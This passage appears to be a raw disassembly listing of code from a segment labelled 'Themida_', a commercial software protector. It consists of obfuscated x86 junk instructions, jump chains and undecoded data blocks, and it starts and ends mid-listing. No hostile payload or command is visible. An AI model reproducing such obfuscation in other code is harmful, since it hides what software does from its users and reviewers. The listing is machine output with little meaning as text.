6BCE2994h, 7BDAE9h db 0 ; --------------------------------------------------------------------------- loc_4F79E1: ; CODE XREF: Themida_:005004BFj push ecx mov ecx, esp push edi mov edi, 77B95CFCh shl edi, 5 dec edi jmp loc_4FFA96 ; --------------------------------------------------------------------------- db 0BBh dd 0AC2423Bh, 496BF381h, 0EB816C51h, 529CF052h, 0A7E9D829h dd 8B000004h, 0F1F72424h, 74DAE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7A16: ; CODE XREF: Themida_:004F8269j sub edi, eax pop eax jmp loc_4F8E45 ; --------------------------------------------------------------------------- dw 8B66h dd 90682404h, 0E900007Dh, 7474h ; --------------------------------------------------------------------------- loc_4F7A2C: ; CODE XREF: Themida_:004F8E9Bj push ebp jmp loc_500392 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 662AE95Ch, 0B8660000h, 99E95FDCh, 55000048h dd 2434FF54h, 4C4815Dh, 81000000h, 4C5h, 3B5A6800h, 0C890000h dd 52565324h, 9A400B68h, 0F2815A1Ah, 70883D68h, 0A8EE281h dd 0CA813EA1h, 3EFD0495h, 5F31E9h, 81DAF700h, 6C038CC2h dd 58E4E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7A8E: ; CODE XREF: Themida_:004F5DBDj mov [esp], ebp push 9C91759h jmp loc_4FF363 ; --------------------------------------------------------------------------- aShxm db 'Shxm',0 dd 24048900h, 6BCAE9h, 0F7E95500h, 81000086h, 8830E0F3h dd 5BDF0146h, 0C781DFF7h, 58C5C115h, 0E95FF801h, 9495h ; --------------------------------------------------------------------------- loc_4F7AC8: ; CODE XREF: Themida_:005017CBj add ecx, esi jmp loc_4F6534 ; --------------------------------------------------------------------------- aVsR db 'Vé\r',0 dd 2434FF00h, 53241C8Bh, 0C381E389h, 4, 8704C383h, 815C241Ch dd 4C4h, 22BCE900h, 4BB0000h, 1000000h, 2434FFD8h, 0D7E9515Bh dd 100006Eh, 0E9515BDEh, 0A773h ; --------------------------------------------------------------------------- loc_4F7B10: ; CODE XREF: Themida_:00500BE3j add edi, 4 add edi, 4 jmp loc_50164B ; --------------------------------------------------------------------------- dw 6851h dd 0F4h, 7543E9h, 0A3E95900h, 6600001Fh, 66C8BE0Fh, 660D6168h dd 0E9240C89h, 27E7h ; --------------------------------------------------------------------------- loc_4F7B40: ; CODE XREF: Themida_:00501BD1j pop ecx add edi, 0D11FFA04h add ebp, 39CF54EBh jmp loc_4FFCBA ; --------------------------------------------------------------------------- loc_4F7B52: ; CODE XREF: Themida_:004FA6B6j push edi mov edi, 7043243Bh jmp loc_4FC9B0 ; --------------------------------------------------------------------------- loc_4F7B5D: ; CODE XREF: Themida_:00501C1Ej pop esp push 751Ah mov [esp], ebx jmp loc_4F5DB8 ; --------------------------------------------------------------------------- loc_4F7B6B: ; CODE XREF: Themida_:004F654Fj xor edi, eax xor eax, edi not edi push edi mov edi, esp jmp loc_4F80F3 ; --------------------------------------------------------------------------- db 81h, 0CAh, 94h dd 81591E00h, 1738DBF2h, 5AD52105h, 6958E9h, 0C80F5C00h dd 915DE9h, 24148900h, 0C2815A54h, 4, 81E38953h, 4C3h dd 4EB8100h, 0E9000000h, 640Ch, 24248B66h, 0FFE155E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F7BBD: ; CODE XREF: Themida_:004FAB35j mov [esp], eax push edx mov edx, 0DD255Fh push edi mov edi, 4ADC5431h mov eax, 83F97F97h sub eax, edi pop edi sub eax, edx push dword ptr [esp] pop edx add esp, 4 push esi mov esi, 6572125Dh sub esi, 1D523C56h shr esi, 1 and esi, 0BD20690h sub esi, 0ACEB59BEh jmp loc_4FA4E1 ; --------------------------------------------------------------------------- dd 0FFE111E9h, 8B5456FFh, 0C4812434h, 4, 5C4568h, 240C8900h dd 4B9h, 0E9CE0100h, 85C8h, 4C48158h, 52000000h, 24148B54h dd 4C481h, 33E90000h, 0FF000045h, 96E92434h, 87000046h dd 0C1BD55DEh, 8157EB7Dh, 0C35ED9E5h, 0C1EDD17Ch, 0B95107EDh dd 1B595081h, 7D6BE181h, 49496EBFh, 1BE98149h, 0E96E612Ch dd 0FFFFE1D7h, 3B0668h, 241C8900h, 6F632768h, 2434FF04h dd 0FFE7C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F7C81: ; CODE XREF: Themida_:004F99C5j mov edx, 6C80BA6h push edi mov edi, 0BF0970h xor edx, edi pop edi add edx, 64A75171h xor edx, 16247527h push ebp mov ebp, 467D23E9h sub ebp, 667E6CF1h xor ebp, 8322CB41h xor edx, ebp pop ebp xor edx, 7C440A4h sub esi, 15B25F5Ch add esi, edx add esi, 15B25F5Ch pop edx jmp loc_4F6A01 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0EB830000h, 241C8704h, 8F1E95Ch, 0EC830000h dd 872EE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7CE6: ; CODE XREF: Themida_:004FAFB6j pop edx jmp loc_4FF926 ; --------------------------------------------------------------------------- dd 5C240487h, 206BE9h, 2FE95900h, 68FFFFF5h, 3958h, 68241C89h dd 4B9Dh, 81242489h, 42404h, 34FF0000h, 0C4835B24h, 4C38104h dd 51000000h, 583722B9h, 0B2C1815Bh, 5748244Ah, 0E11AECBFh dd 6E56E93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7D36: ; CODE XREF: Themida_:005005EFj mov esi, esp add esi, 4 add esi, 4 jmp loc_4F9289 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 241C8B04h, 4C481h, 48F0000h, 24248B24h, 0C8AF0F66h dd 5A61E9h, 341AB800h, 0C148593Dh, 443506E0h, 814F4D06h dd 8C66EAC2h, 17EA816Ah, 1071751h, 17C281C2h, 81071751h dd 8C66EAEAh, 24048B6Ah, 5104C483h, 0FFF529E9h, 243C89FFh dd 2BFh, 7F102D00h, 0F2E97A81h, 5400004Eh, 4C18159h, 56000000h dd 2BEh, 0FFF10100h, 348B2434h, 0E6895624h, 0DDCE9h, 0A5BF5700h dd 896D2D5Ch, 6793E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7DD6: ; CODE XREF: Themida_:004F617Ej mov [esp], edx mov edx, 6D646A04h push edx jmp loc_4F5F39 ; --------------------------------------------------------------------------- dd 4B951h, 0CF010000h, 2C78159h, 52000000h, 3E1BE9h, 58C70100h dd 5C243C87h, 582434FFh, 1DA568h, 24148900h, 24148B54h dd 5E08950h, 4, 8704C083h, 815C2404h, 4C2h, 2E256800h dd 34890000h, 6E0DBE24h, 0CE812A11h, 68C5252h, 8F37E9h dd 0FAC28100h, 0E92C9B43h, 5FD3h, 8E36C405h, 2DC8011Dh dd 1D8E36C4h, 3868E959h, 0EE810000h, 33DE76CAh, 7B72CE81h dd 0EE813D4Eh, 0C712CBA7h, 5D5EF001h, 48BC321h, 806EE924h dd 8B660000h, 89502404h, 9D36E9E0h, 0EB800000h, 46F3803Dh dd 6CE9D888h, 0B5000010h, 0C7ED8062h, 0C580E500h, 0D50058C7h dd 0E92434FFh, 0FFFFE6FBh, 8745D005h, 9DE90Dh, 0C15B0000h dd 130506E0h, 1532C8Bh, 2434FFC3h, 0E2895258h, 4BE56h dd 0F2010000h, 4EA835Eh, 0E9241487h, 45A2h, 818DC380h dd 4ECh, 24148900h, 0C280C6B2h, 0FFD3282Ah, 8DE92434h db 3 dup(0) ; --------------------------------------------------------------------------- loc_4F7EF3: ; CODE XREF: Themida_:004FE616j add ecx, 0C0C221Ah add eax, ecx pop ecx jmp loc_4FE7E9 ; --------------------------------------------------------------------------- loc_4F7F01: ; CODE XREF: Themida_:004FFFF9j mov [edi+20h], ebp pop ebp jmp loc_4F7F69 ; --------------------------------------------------------------------------- dw 0C8Bh dd 0E2895224h, 4C281h, 0C2810000h, 4, 12E9E9h, 50C18800h dd 38B8h, 0E9F80100h, 4987h, 81243C89h, 4ECh, 24248900h dd 4240481h, 5F000000h, 0FFFE9BE9h, 0FEE95AFFh, 2D000051h dd 58D8383Ch, 0E958C589h, 2F7Fh ; --------------------------------------------------------------------------- loc_4F7F5C: ; CODE XREF: Themida_:004FEE9Bj push 1C18h mov [esp], ebp jmp loc_4FAE9E ; --------------------------------------------------------------------------- loc_4F7F69: ; CODE XREF: Themida_:004F7F05j ; Themida_:004FCEFCj ... push dword ptr [esp] pop ebx sub esp, 4 jmp loc_4FF13C ; --------------------------------------------------------------------------- dd 0E903E0C1h, 511Ch, 4C4835Ah, 0B3E9C328h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F7F8B: ; CODE XREF: Themida_:004FC75Cj pop esp mov [esp], ecx push eax jmp loc_501973 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0D2h dd 0F70EEE4Dh, 0CD8145D5h, 225C03CDh, 8904EC83h, 47E9241Ch dd 880000A2h, 43B5E9D0h, 0C2810000h, 6F3C2E53h, 0A367E9h db 0 ; --------------------------------------------------------------------------- loc_4F7FC1: ; CODE XREF: Themida_:004FD70Aj xor [esp+4], edi push dword ptr [esp] mov edi, [esp] jmp loc_50104F ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 3E66BD24h, 0ED814FAAh, 51886882h dd 0D5E0F581h, 90E9FE21h, 56000013h, 6D3E94BEh, 5EF7895Fh dd 0E2FEA81h, 0FA293F38h, 0E2FC281h, 3C8B3F38h, 4C48124h dd 81000000h, 0CE5E48F2h, 0E9D331E4h, 7350h, 4C481h, 0ED810000h dd 2B001780h, 0D1E9E829h, 31000062h, 0D8295AD3h, 4EC815Bh dd 89000000h, 6850240Ch, 3AE0514h, 9F9FE958h, 0E9500000h dd 8F1Bh, 0EFE9D301h, 3000001Dh, 3636E9CFh, 81510000h dd 10982404h, 2D584F21h, 4F211098h, 81240C8Bh, 4C4h, 6CEFE900h dd 0D6010000h, 8324148Bh, 0C60104C4h, 48D5B951h, 0AE93D61h dd 0FF000021h, 0DC7CE932h, 34FFFFFFh, 7FE95824h, 0F7FFFFFAh dd 0ABCE81DEh, 817A7F5Ch, 26BA4E6h, 0A03CE979h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F80B2: ; CODE XREF: Themida_:004FC032j push 4D515190h pop ecx not ecx jmp loc_4FBF95 ; --------------------------------------------------------------------------- db 45h dd 52C7ED81h, 0E829A601h, 26EDE9h db 0 ; --------------------------------------------------------------------------- loc_4F80CD: ; CODE XREF: Themida_:004F738Cj mov [esp], eax jmp loc_500693 ; --------------------------------------------------------------------------- loc_4F80D5: ; CODE XREF: Themida_:004F6272j mov [esp], ebp mov ebp, 1 push ebx push edi push ebp sub dword ptr [esp], 33C23EF6h pop edi add edi, 33C23EF6h jmp loc_4FDD63 ; --------------------------------------------------------------------------- loc_4F80F3: ; CODE XREF: Themida_:004F7B74j add edi, 4 push ecx push 4 pop ecx add edi, 47D32E6Eh sub edi, 38797A86h sub edi, ecx add edi, 38797A86h sub edi, 47D32E6Eh mov ecx, [esp] add esp, 4 xchg edi, [esp] pop esp mov [esp], eax push edi mov eax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_4FC447 ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 8 dd 9AD8B951h, 0CD31026Dh, 81240C8Bh, 4C4h, 9A24E900h, 0E9570000h dd 2ABh, 0EC8356ADh, 241C8904h, 1C0DE9h, 0E9F10900h, 8CC4h dd 0F0285966h, 0E9D8005Ah, 9FBFh, 43C381h, 0EB814E5Bh dd 5B585D27h, 0C381C301h, 5B585D27h, 43EB81h, 0BD554E5Bh dd 34A7653h, 9B97E9h db 0 ; --------------------------------------------------------------------------- loc_4F819D: ; CODE XREF: Themida_:004FCA65j mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_4FE1CB ; --------------------------------------------------------------------------- dw 18BBh dd 31624FA3h, 0C3015BD8h, 8324048Bh, 0C38104C4h, 2, 0E9241C33h dd 588Ah, 58240429h, 504E8C1h, 0FFBBEAE0h, 380FE9h, 0C6815C00h dd 2, 31243433h, 34332434h, 0CD25C24h, 0FE99C24h, 0BBFFFFDBh dd 2, 710D9105h, 83D8014Eh, 9CE904ECh db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8217: ; CODE XREF: Themida_:004FC3DAj add esi, 4 xchg esi, [esp] jmp loc_4FEB61 ; --------------------------------------------------------------------------- dw 2C87h dd 68665C24h, 11E96EABh, 2D000048h, 2CB2B90h, 642BE9h db 0 ; --------------------------------------------------------------------------- loc_4F8239: ; CODE XREF: Themida_:004FD882j pop eax sub edx, edi jmp loc_4FBD8C ; --------------------------------------------------------------------------- aBuatugyso? db 'î€tãgYéo?',0 dd 2434FF00h, 0E9240C8Bh, 553Fh ; --------------------------------------------------------------------------- loc_4F8258: ; CODE XREF: Themida_:004F8F27j sub edi, 65D52C3Bh push eax mov eax, 64C62C8Ah xor eax, 0A6D580DAh jmp loc_4F7A16 ; --------------------------------------------------------------------------- dw 0E189h dd 4B850h, 0C1010000h, 42D8E9h, 0D8285900h, 4D904h, 0E951ED2Ch dd 3A6h, 0F704E0C1h, 5E880DD8h, 682D6D8Fh, 0E9ECF718h dd 86E9h, 9AA0F281h, 0EA8180B2h, 2D680666h, 4983EA81h dd 0EA81258Ch, 4CB30A37h, 314EBD55h, 0D8E95D10h, 1FFFFE4h dd 0C335BD9h, 240C3124h, 8B240C33h, 21662424h, 0E99C2404h dd 0FFFFDA36h, 0BE243489h, 6185527Ah, 388AE9h db 0 ; --------------------------------------------------------------------------- loc_4F82E9: ; CODE XREF: Themida_:00502650j pop ebp push edi mov edi, 0A24AF89Bh sub ebp, edi pop edi mov ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_4F8CEF ; --------------------------------------------------------------------------- aISA db '‰$$é/A',0 align 4 dd 2C04C483h, 0E326826h, 0D3E90000h, 8300008Ch, 0C18104C4h dd 4, 7270E9h, 5AD03100h, 4E58C689h, 0FFE50CE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F8331: ; CODE XREF: Themida_:004FB449j and eax, edx push dword ptr [esp] pop edx push 5E9Ah mov [esp], ebp jmp loc_50272A ; --------------------------------------------------------------------------- loc_4F8344: ; CODE XREF: Themida_:004FECC8j push ebx mov ebx, 699D39EFh or ebx, 2CA20ACCh inc ebx jmp loc_4FF5AF ; --------------------------------------------------------------------------- dw 1C87h aBiibOsj db '$\ë›bÐoé¦',8,0 db 0 ; --------------------------------------------------------------------------- loc_4F8365: ; CODE XREF: Themida_:004F7047j pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_4F93D2 ; --------------------------------------------------------------------------- dw 0F747h dd 62F781DFh, 5825EC0h, 7DD56877h, 96E9F829h, 83FFFFF4h dd 0BCE904ECh, 5D00003Bh, 3494E9h, 0D1D3F700h, 35BA52E3h dd 0E93B6F6Fh, 79A5h, 24048B66h, 48B5450h, 1B9BE924h, 0E9970000h dd 2ED2h, 0E951C0FEh, 4AFCh, 0D8F6C0FEh, 0E8C0D8F6h, 1B66E905h dd 815A0000h, 4C2h, 4EA8300h, 5C241487h, 0FFF7A8E9h, 15ED81FFh dd 0E975577Dh, 0FFFFF4A7h, 8324348Bh, 72E904C4h, 0BF00001Bh dd 66EB7BD4h, 9980E9h, 0E935B400h, 4163h, 5CCAE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F841A: ; CODE XREF: Themida_:004F65D8j jnz loc_4FB6E0 push ebx push 444Ch jmp loc_500C35 ; --------------------------------------------------------------------------- loc_4F842B: ; CODE XREF: Themida_:004FE234j pop ecx jmp loc_4FDCBD ; --------------------------------------------------------------------------- db 81h, 0E1h, 0E7h dd 8151DE12h, 598945E9h, 5E9C1FBh, 7F5BE9h, 5D0F700h, 0B1B7D778h dd 158C229h, 0C3815AD3h, 2, 0E9241C87h, 8EF6h, 6DA6BB53h dd 0D929125Fh, 81241C8Bh, 4C4h, 0C1815A00h, 2, 8B240C87h dd 0F662424h, 9C2404ABh, 0FFD889E9h, 0E9D7F7FFh, 4C74h dd 67E9E801h, 58000040h, 0B450F300h, 7ECC0AFh, 8008E4C0h dd 0E32802C4h, 7CE95A58h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F84AF: ; CODE XREF: Themida_:004FA70Ej xchg ecx, esi xchg eax, ecx not eax jmp loc_4F88FA ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6658669Dh, 9C240411h, 0FFD849E9h, 2434FFFFh, 6A7EE958h dd 0E95C0000h, 428h, 2D58C189h, 34077176h, 8138762Dh, 5E7D2D07h dd 0C80164D6h, 4D48BA52h, 0C2816C61h, 465F64DDh, 2F0FF281h dd 7EE96284h, 8B000066h, 0C483240Ch, 4685304h, 5B000000h dd 517DC181h, 0E9817D2Fh, 40905309h, 0C181D901h, 40905309h dd 517DE981h, 1C8B7D2Fh, 0E0895024h, 405h, 11F6E900h, 0E9540000h dd 6F20h, 8324148Bh, 5D6804C4h, 8900004Bh, 67E9241Ch, 80FFFFFCh dd 42E91FE5h, 0F7000088h, 7E5C1D5h, 60E9DDF7h, 0B0000048h dd 0E95066D1h, 93B1h, 4BE56h, 74010000h, 0E95E0424h, 0FFFFF0BAh dd 4C181h, 76E90000h, 100007Dh, 14335BDAh, 24143124h, 7E41E9h db 0 ; --------------------------------------------------------------------------- loc_4F8599: ; CODE XREF: Themida_:004FA5ADj mov esi, [esp] jmp loc_4FBCF1 ; --------------------------------------------------------------------------- aU3cVhu db '-ã3–-Vhî',0Ah,0 align 4 dd offset byte_500EE9 dd 4C48100h, 0E9000000h, 43DCh ; --------------------------------------------------------------------------- loc_4F85BC: ; CODE XREF: Themida_:004F92A7j sub ebx, 0F442DD91h mov ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_4FEE0D ; --------------------------------------------------------------------------- db 89h dd 0E952241Ch, 71DDh ; --------------------------------------------------------------------------- loc_4F85D8: ; CODE XREF: Themida_:004FB4A9j and eax, edi push dword ptr [esp] pop edi push edi mov edi, esp push ebx jmp loc_4FCFF3 ; --------------------------------------------------------------------------- db 0Fh dd offset dword_4D02F8+68Ch dd 7BD46800h, 4890000h, 6ACFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F85FA: ; CODE XREF: Themida_:004F9BA6j add esi, 4 add esi, 4 push esi jmp loc_4FA770 ; --------------------------------------------------------------------------- dd 4BF57h, 0F8010000h, 2404875Fh, 2FEB805Ch, 9206E9h db 0 ; --------------------------------------------------------------------------- loc_4F8621: ; CODE XREF: Themida_:004FAB10j xchg ebp, [esp] pop esp push 640Ah mov [esp], esi jmp loc_5015E3 ; --------------------------------------------------------------------------- aRsS1i db 'RS·Éé1I',0 dw 500h dd 752C460Eh, 0E2DC801h, 5752C46h, 757B1B85h, 0E9240C8Bh dd 3618h ; --------------------------------------------------------------------------- loc_4F8654: ; CODE XREF: Themida_:004F97B0j add ecx, 4 push ebp jmp loc_5021C3 ; --------------------------------------------------------------------------- dd 5A02F781h, 0F82905EDh, 81243C8Bh, 4C4h, 0E6895600h dd 0B92BB53h, 0EBC1089Dh, 20C38102h, 1FDD8BDh, 0EE815BDEh dd 4, 5C243487h, 0BA241489h, 4CC5DEF9h, 2826E951h, 0C1660000h dd 686604EBh, 89661FB4h, 6650243Ch, 66753668h, 66406658h dd 66AF8A05h, 6658C789h, 5F66FB01h, 0BBEB8166h, 6652667Fh dd 0E94EB0BAh, 0FFFFE2A4h, 0CE30A1B6h, 0FBBE959h, 14890000h dd 0F2F5E924h, 0F028FFFFh, 0E9E8285Ah, 4CFDh ; --------------------------------------------------------------------------- loc_4F86EC: ; CODE XREF: Themida_:004FC794j pop ebp sub esp, 4 mov [esp], ebx jmp loc_4FE5E4 ; --------------------------------------------------------------------------- dd 0EF7815Dh, 89083DABh, 0DAABE9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8706: ; CODE XREF: Themida_:004F9521j push edi mov edi, 1C1B7C21h shr edi, 7 add edi, 75682BB4h mov edx, edi pop edi jmp loc_5014D1 ; --------------------------------------------------------------------------- align 2 dw 2CD8h dd 0B15153FDh, 6FB45043h, 90E9E788h, 8B000066h, 0D3662424h dd 0E99C243Ch, 0AC9h, 33B3EA81h, 0D868259Dh, 8900000Dh dd 2BE9240Ch, 80000095h, 5966D3EBh, 0F570E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F875A: ; CODE XREF: Themida_:004FD3A1j pop eax jmp loc_4F707C ; --------------------------------------------------------------------------- dd 8831B151h, 240C8BC8h, 4C481h, 0C1080000h, 69B5E9h, 41EB8100h dd 1441468h, 41C381C3h, 81441468h, 3071E1C3h, 1605684Eh dd 3C890000h, 0DCDFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8796: ; CODE XREF: Themida_:004FF2F4j pop ecx push ebx jmp loc_4FF305 ; --------------------------------------------------------------------------- loc_4F879D: ; CODE XREF: Themida_:004FF6D6j pop eax add esp, 4 jmp loc_4FB4C9 ; --------------------------------------------------------------------------- db 0E9h, 64h, 0D5h dd 8951FFFFh, 0D1BF57E1h, 6845AA6Ah, 0 dd offset dword_49C85C+68Dh dd 0ADC28100h, 29B24450h, 0D8015AD0h, 0A62EA205h, 60970547h dd 51557A25h, 5843D368h, 3EE95924h, 0AD00001Fh, 207F83h dd 3C07840Fh, 0C6810000h, 8D739AAh, 4EC81h, 4890000h, 4122E924h dd 14890000h, 43685324h, 8900007Bh, 58542404h, 405h, 0E4E0E900h dd 0BF57FFFFh, 63D02331h, 19E9DFF7h, 0B8000005h, 68B955D1h dd 46AA33BDh, 0E9C50197h, 2941h, 0B15B9935h, 5B672D38h dd 833539B0h, 48719552h, 0D079D22Dh, 0E9C301F4h, 12AFh dd 0C09CB252h, 0D2F605EAh, 8003E2C0h, 0D7882BEAh, 28BF045Ah dd 66BF2CF8h, 0F150E95Bh, 3C89FFFFh, 2BF24h, 0FB290000h dd 5F2434FFh, 4C481h, 1C330000h, 241C3124h, 6D8E9h, 71CF8100h dd 810F5B20h, 0A34331C7h, 0F7814F50h, 0B7295E0Bh, 3858E9h dd 2DEE8000h, 5266C6FEh, 1244C86h, 4C86D1F6h, 5A660124h dd 0E99CEE80h, 8AC8h, 4C181h, 0C1810000h, 4, 0E9240C87h dd 0FFFFEFDBh, 81242C8Bh, 4C4h, 0E9D30100h, 50F5h, 3E14900Dh dd 3DB7E905h, 0DF890000h, 0D58AE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F88FA: ; CODE XREF: Themida_:004F84B4j xchg eax, ecx jmp loc_4FF7DD ; --------------------------------------------------------------------------- dd 8B240489h, 8957240Ch, 0DB92E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F890E: ; CODE XREF: Themida_:004FA002j add ebp, 7B6F5C5Fh add ebp, edx sub ebp, 7B6F5C5Fh jmp loc_4F8AD6 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFF06EE9h, 240C31FFh, 8B240C33h, 61682424h, 89000026h dd 0E589242Ch, 4C581h, 5E90000h, 6600007Ch, 663E5E68h dd 0E9240489h, 0FFFFD3BEh ; --------------------------------------------------------------------------- loc_4F8954: ; CODE XREF: Themida_:004FCF32j push ebp mov ebp, 4D021DBEh and ebp, 19CE7C77h dec ebp jmp loc_4FE4C1 ; --------------------------------------------------------------------------- dw 0CF89h dd 595FFD89h, 0E957DDF7h, 0FFFFDDA8h ; --------------------------------------------------------------------------- loc_4F8974: ; CODE XREF: Themida_:00500C4Cj push ecx mov ecx, 27251546h shr ecx, 5 jmp loc_4F8FEB ; --------------------------------------------------------------------------- loc_4F8982: ; CODE XREF: Themida_:004FC9F1j and eax, ebp mov ebp, [esp] add esp, 4 or edx, eax shl edx, 1 push edx mov edx, 78D819C3h sub esp, 4 mov [esp], ecx mov ecx, 2A045B61h shr ecx, 6 jmp loc_4F70B4 ; --------------------------------------------------------------------------- dd offset byte_55C781 dw 6F83h dd 0C0B60F58h, 818734FFh, 4ECh, 24348900h, 0C81170BEh dd 0FFEE8310h, 6731E9h, 242C3100h, 5489E9h db 0 ; --------------------------------------------------------------------------- loc_4F89D5: ; CODE XREF: Themida_:004F6D76j push 2F9E4300h pop edx push 0 sub [esp], edx pop edx push ecx mov ecx, 44741853h or ecx, 55163F33h shl ecx, 5 sub ecx, 75364CF6h push ecx not dword ptr [esp] pop ecx jmp loc_4F9225 ; --------------------------------------------------------------------------- db 57h dd 1077DCBFh, 0D6EF8117h, 0E931875Eh, 0FFFFFA75h ; --------------------------------------------------------------------------- loc_4F8A14: ; CODE XREF: Themida_:004FDB36j xor [esp], esi jmp loc_4FA50C ; --------------------------------------------------------------------------- dd 5724348Bh, 0C781E789h, 4, 8704C783h, 248B243Ch, 0C3815B24h dd 4, 2BE56h, 0F3010000h, 241C335Eh, 33241C31h, 0E95C241Ch dd 342h, 47882D66h, 5A2434FFh, 4C481h, 1660000h, 15B6E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8A66: ; CODE XREF: Themida_:004FBD27j pop esp sub esp, 4 jmp loc_5023CE ; --------------------------------------------------------------------------- dw 8158h dd 0CD1A34EEh, 52C6014Fh, 2531EEBAh, 8EAC112h, 81DCE951h dd 68500000h, 2376h, 0E9242489h, 6447h, 6A563CB8h, 74290533h dd 0BF575366h, 316B2EADh, 0E95FF831h, 0FFFFF7DCh, 0FFD25DE9h dd 5FFA31FFh, 0CE9D001h, 2C00002Dh, 835A6609h, 0C8904ECh dd 35D4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8ACE: ; CODE XREF: Themida_:00501F96j mov esi, [esp] jmp loc_4FA708 ; --------------------------------------------------------------------------- loc_4F8AD6: ; CODE XREF: Themida_:004F891Cj pop edx push ebp pop edx jmp loc_4FD2B4 ; --------------------------------------------------------------------------- loc_4F8ADE: ; CODE XREF: Themida_:004FC8CDj movsx ecx, al push eax mov eax, esp sub esp, 4 mov [esp], edi mov edi, 5BD0346Eh push edx mov edx, 6ACB4163h push ecx mov ecx, 2D3813F5h sub ecx, 1187B1A7h add edx, ecx pop ecx jmp loc_4F6161 ; --------------------------------------------------------------------------- dd 32EB814Bh, 31E4313Dh, 0EFBBE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8B1A: ; CODE XREF: Themida_:004F6C70j and eax, edi mov edi, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_4FD111 ; --------------------------------------------------------------------------- dw 3AB8h dd 933FE67Ch, 35E99343h, 29FFFFF4h, 241C8BD8h, 104C483h dd 374305D0h, 0C734D4h, 2B492454h, 4941E9h, 12F10500h dd 0BF573593h, 771553FFh, 42AEBB53h, 0BE565D30h, 373264D2h dd 0E6C1D6F7h, 2DEE8107h, 31525091h, 0EBC15EF3h, 0FFEB8107h dd 0E9FFFFFFh, 8BD4h, 53242489h, 4BBh, 245C0100h, 241C8B04h dd 31C6E9h, 4C68100h, 83000000h, 348704C6h, 0C4815C24h dd 4, 31240C33h, 0C33240Ch, 0C3305C24h, 0FFC0B60Fh, 34FF8734h dd 0D467E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F8BD2: ; CODE XREF: Themida_:004FC467j mov ebp, [esp] add esp, 4 mov esi, 79020665h sub esi, ebp mov ebp, [esp] add esp, 4 and eax, esi mov esi, [esp] push esi push esp jmp loc_4FA5F3 ; --------------------------------------------------------------------------- db 5Fh, 8Fh, 4 dd 24248B24h, 1FC4E9h db 0 ; --------------------------------------------------------------------------- loc_4F8BFD: ; CODE XREF: Themida_:004FE4D0j add edi, 51FC2780h sub esp, 4 jmp loc_5001D8 ; --------------------------------------------------------------------------- aBiuK4s9 db 'ëî"K4é9\',0 align 2 dw 8966h dd 0F3E92404h, 8AFFFFD0h, 8956241Ch, 4BB53E6h, 0E9000000h dd 0C78h, 4C481h, 0E1C10000h, 5FC98103h, 4128DB09h, 0FFF7ECE9h dd 55D901FFh, 0C26370BDh, 5DE92934h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ecx, [esp] pop esp push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx push esp jmp loc_4FEA5B ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 8Fh dd 80FFFFD0h, 2BE919EDh, 5800003Eh, 0E904C483h, 20B9h dd 8106EDC1h, 460397F5h, 29C5814Ah, 0D123B35Fh, 0C8ED81E5h dd 50DF543Bh, 46EEB8h, 0F3090560h, 0D4E9A006h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8CBB: ; CODE XREF: Themida_:004F5D3Cj push cx mov ch, 0FFh jmp loc_4FED62 ; --------------------------------------------------------------------------- loc_4F8CC4: ; CODE XREF: Themida_:004F6E6Aj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_4F9452 ; --------------------------------------------------------------------------- aZIfysbg db 'Z(ëfYébƒ',0 align 2 dw 0F381h dd 5E3D04BAh, 1EE9D989h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F8CEF: ; CODE XREF: Themida_:004F82FBj push ebp mov ebp, 688C0CE4h push ebp neg dword ptr [esp] pop ebp xor ebp, 0C2A4ED0Ch add ebx, ebp pop ebp or ebx, 11F80806h xor ebx, 3F9C5695h jmp loc_4FB1BC ; --------------------------------------------------------------------------- loc_4F8D14: ; CODE XREF: Themida_:004F61C7j xor eax, 4A0E2648h sub ebx, 51D979E1h jmp loc_4FEDDC ; --------------------------------------------------------------------------- dd 6A3723BDh, 7E5C102h, 8101C583h, 